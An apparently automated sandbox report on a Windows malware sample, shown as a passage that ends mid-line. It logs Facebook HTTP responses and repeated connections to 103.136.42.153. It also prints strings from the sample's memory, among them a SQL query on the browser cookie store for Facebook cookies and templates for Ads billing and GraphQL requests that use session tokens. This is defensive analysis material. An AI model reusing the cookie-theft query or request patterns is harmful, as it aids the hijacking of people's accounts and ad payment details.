Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: h8h6gquzyRldgMs/zvNP5HNhfOiCK9UJCpNllku02MFNXX7d4lJ7mf0PwkvhZfcyS34iSQXprGcfgVazeOJCKg==Date: Fri, 09 Sep 2022 16:00:39 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: Mrywyouy+c09N0jiN9sBDUUM2W2v2CysycHbz8Hta8qlaqtNqxW6vY2zR4zfmj/TxoioKOb2Ou7W9kmCcJvvRg==Date: Fri, 09 Sep 2022 16:01:10 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: Hry39THH8rHJSsjdfpphoubIHnloLABAS+PW0kT2D1Oja/TuVp7YKzvuPFjBosSCH7els2NIylRTuAhu7Xp0HA==Date: Fri, 09 Sep 2022 16:01:20 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: uFEXZpq6neC7z9DvkMV4lbp/eIv0kHjh0ZKoM1+aMjEUuzaN3yk6UqoP165Mo2WH6wO/BUJcfkmJm/cDNiBFRg==Date: Fri, 09 Sep 2022 16:01:27 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: pws5HJFVtIOipKcvcpbcNZ2MkECIBVAaH3N8CBaAy3tCa6BqlmrGaNDFvC2atU63sb4PzTA5evMj7cjFTpjq+Q==Date: Fri, 09 Sep 2022 16:01:51 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: Va94dKYGNnJJnVd59aUpLZiKWYY4wWKexHD58G/jx4limiwQFGB7tuycW1XqhcR70/SANi75ke7jYv/hFqsuGQ==Date: Fri, 09 Sep 2022 16:02:01 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.467268242.00000000032E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: #star-mini.c10r.facebook.comwww.facebook.com equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.495781908.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524994755.00000000031F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )bhttps://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.400592181.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405312178.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )rhttps://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E1 equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494938813.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.525367442.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.461110576.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.401028721.000000000333A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.464541718.000000000333A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.461585985.0000000003339000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.437660587.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.401263023.000000000333A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: +www.facebook.com equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: -atlTraceSyncatlTraceISAPIInvalid DateTimeInvalid DateTimeSpanatlTraceGeneralatlTraceCOMatlTraceQIatlTraceRegistrarAppIDCLSIDComponent CategoriesFileTypeInterfaceHardwareMimeSAMSECURITYSYSTEMSoftwareTypeLibatlTraceRefcountAcceptRefererAccept-Languageen-US,en;q=0.9Accept-LanguageContent-TypeUser-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36atlTraceWindowingContent-LengthCookiehttps://www.facebook.com/ads/manager/account_settings/account_billing/?act=&pid=p1&page=account_settings&tab=account_billing_settingswww.facebook.comHostkeep-aliveConnectionatlTraceControlsContent-LengthcorsSec-Fetch-Modehttps://www.facebook.comOriginUser-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.361280Viewport-WidthBillingAMNexusRootQueryX-FB-Friendly-NameX-FB-LSDapplication/x-www-form-urlencodedContent-Type/Acceptsame-originSec-Fetch-SiteRefereren-US,en;q=0.9Accept-LanguageCookiehttps://www.facebook.com/api/graphql/atlTraceHostingatlTraceDBClientatlTraceDBProvideratlTraceSnapinSMDBValForceRemoveNoRemoveDeleteatlTraceNotImplatlTraceAllocation equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 0" title="href="https://www.facebook.com/profile_icon" title="href="https://www.facebook.com/data-gt" role=","Os":"" role="href="https://www.facebook.com/<a aria-label="<a class=href="https://www.facebook.com//,"machineId":""/profile.php?sk=friend_gs6">,"Compcode":"atlTraceHosting","Friends":""httpfalse//:/no</span>en-US,en;q=0.9<span>truenonononoatlTraceDBClienthttps://http://gzip, deflate/www.airbnb.comatlTraceDBProviderhttp//:/noMozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36en-US,en;q=0.9,adtrust_dsl":https://http://gzip, deflate, brgzip, deflate, br,disable_reason":,account_currency_ratio_to_usd":atlTraceSnapin~~S/MDBVal,-ForceRemoveNoRemoveDeleteatlTraceNotImpl.,atlTraceAllocation%c%d equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: </html>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9/atlTraceException[{"Cookie":"-no\atlTraceTime-no--,"ed":"","bl":"","status":"";c_user=%3BatlTraceCachec_user%3D/",https://www.facebook.com/ads/manager/account_settings/account_billingadAccountID":""DTSGInitialData",[],{"token":"atlTraceStencil"LSD",[],{"token":"av=%s&__user=%s&__a=1&__csr=&__req=3&__beoa=0&__pc=PHASED:ads_campaign_manager_pkg&__hs=18770.PHASED:ads_campaign_manager_pkg.2.0.0.0&__bhv=2&dpr=1&__comet_req=0&fb_dtsg=%s&fb_api_caller_class=RelayModern&fb_api_req_friendly_name=BillingAMNexusRootQuery&variables={"paymentAccountID":"%s"}&server_timestamps=true&doc_id=3972780502837874Failed converting UTF-8 string to UTF-16"0billing_threshold_currency_amount":{"formatted_amount":"u,"qy":"atlTraceString"https://www.facebook.com/bookmarks/pages?ref_type=logout_gearcounttype:https://www.facebook.com/pages/?category=your_pages&ref=bookmarks-admined_pages":{"nodes":[{,"Page":"10"<a href="https://business.facebook.com01,"bm":""<>class="lastRow right","currency":"atlTraceMap","a":""atlTraceUtil,"b":"CHROMEchrome.exeEDGEIEmsedge.exe","Channel":""atlTraceSecurity,"Browser":"00","by1":"","by2":"/pages/?category=your_pages&ref=bookmarksoverall_star_rating"uri_token":"}overall_star_rating":{"value":atlTraceSync5overall_star_rating/atlTraceISAPI"page_creation_date":{"text":"Invalid DateTimeInvalid DateTimeSpan,follower_count":page\|\|;truefalse/settings?tab=applications&ref=settingsWAX AllAccess"app_status":"","waxstatus":""}]test0102030405060708atlTraceGeneral\Failed to initialise Winsock, Error:%u equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.524451129.00000000032D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @www.facebook.com equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @www.facebook.comnf equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.401144808.00000000032ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Alt-Svch3=":443"; ma=86400, h3-29=":443"; ma=86400Priorityu=3,iX-FB-DebugHry39THH8rHJSsjdfpphoubIHnloLABAS+PW0kT2D1Oja/TuVp7YKzvuPFjBosSCH7els2NIylRTuAhu7Xp0HA==X-Frame-OptionsDENYX-XSS-Protection0X-Content-Type-Optionsnosniffcross-origin-opener-policysame-origin-allow-popupscross-origin-resource-policysame-origindocument-policyforce-load-at-topx-fb-rlafr0report-to{"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}Persistent-AuthWWW-AuthenticateAccept-EncodingVarySet-CookieServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedSat, 01 Jan 2000 00:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset="utf-8"Content-TypeContent-LengthAllowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaKeep-AliveFri, 09 Sep 2022 16:01:20 GMTDateProxy-ConnectioncloseConnectionprivate, no-cache, no-store, must-revalidateCache-Control equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494938813.0000000003230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Alt-Svch3=":443"; ma=86400, h3-29=":443"; ma=86400Priorityu=3,iX-FB-DebugVa94dKYGNnJJnVd59aUpLZiKWYY4wWKexHD58G/jx4limiwQFGB7tuycW1XqhcR70/SANi75ke7jYv/hFqsuGQ==X-Frame-OptionsDENYX-XSS-Protection0X-Content-Type-Optionsnosniffcross-origin-opener-policysame-origin-allow-popupscross-origin-resource-policysame-origindocument-policyforce-load-at-topx-fb-rlafr0report-to{"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}Persistent-AuthWWW-AuthenticateAccept-EncodingVarySet-CookieServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedSat, 01 Jan 2000 00:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset="utf-8"Content-TypeContent-LengthAllowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaKeep-AliveFri, 09 Sep 2022 16:02:01 GMTDateProxy-ConnectioncloseConnectionprivate, no-cache, no-store, must-revalidateCache-Control equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476389831.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Alt-Svch3=":443"; ma=86400, h3-29=":443"; ma=86400X-FB-Debugpws5HJFVtIOipKcvcpbcNZ2MkECIBVAaH3N8CBaAy3tCa6BqlmrGaNDFvC2atU63sb4PzTA5evMj7cjFTpjq+Q==X-Frame-OptionsDENYX-XSS-Protection0X-Content-Type-Optionsnosniffcross-origin-opener-policysame-origin-allow-popupscross-origin-resource-policysame-origindocument-policyforce-load-at-topx-fb-rlafr0report-to{"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}Persistent-AuthWWW-AuthenticateAccept-EncodingVarySet-CookieServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedSat, 01 Jan 2000 00:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset="utf-8"Content-TypeContent-LengthAllowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaKeep-AliveFri, 09 Sep 2022 16:01:51 GMTDateProxy-ConnectioncloseConnectionprivate, no-cache, no-store, must-revalidateCache-Control,, equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Alt-Svch3=":443"; ma=86400, h3-29=":443"; ma=86400X-FB-Debugpws5HJFVtIOipKcvcpbcNZ2MkECIBVAaH3N8CBaAy3tCa6BqlmrGaNDFvC2atU63sb4PzTA5evMj7cjFTpjq+Q==X-Frame-OptionsDENYX-XSS-Protection0X-Content-Type-Optionsnosniffcross-origin-opener-policysame-origin-allow-popupscross-origin-resource-policysame-origindocument-policyforce-load-at-topx-fb-rlafr0report-to{"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}Persistent-AuthWWW-AuthenticateAccept-EncodingVarySet-CookieServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedSat, 01 Jan 2000 00:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset="utf-8"Content-TypeContent-LengthAllowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaKeep-AliveFri, 09 Sep 2022 16:01:51 GMTDateProxy-ConnectioncloseConnectionprivate, no-cache, no-store, must-revalidateCache-Controlc equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494530484.0000000003240000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.423301956.0000000003238000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.525367442.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.401144808.00000000032ED000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.467268242.00000000032E3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476049314.00000000032ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Host: www.facebook.com equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: atlTraceWindowing&ctarget=https%3A%2F%2Fwww.facebook.comcquick=jsc_c_e&cquick_token=/settings?find emailsetting %s not found.setting %s not found. equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.255745691.0000000003195000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ct name,value,encrypted_value from cookies where instr("www.facebook.com", host_key)>0 equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.facebook.com equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.401028721.000000000333A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.401263023.000000000333A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com$ equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.454384185.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.455607582.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.458740079.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442188704.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442559130.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.449133562.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448268891.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.445992397.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.378038609.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.458306345.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456182696.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.375606673.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456651242.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 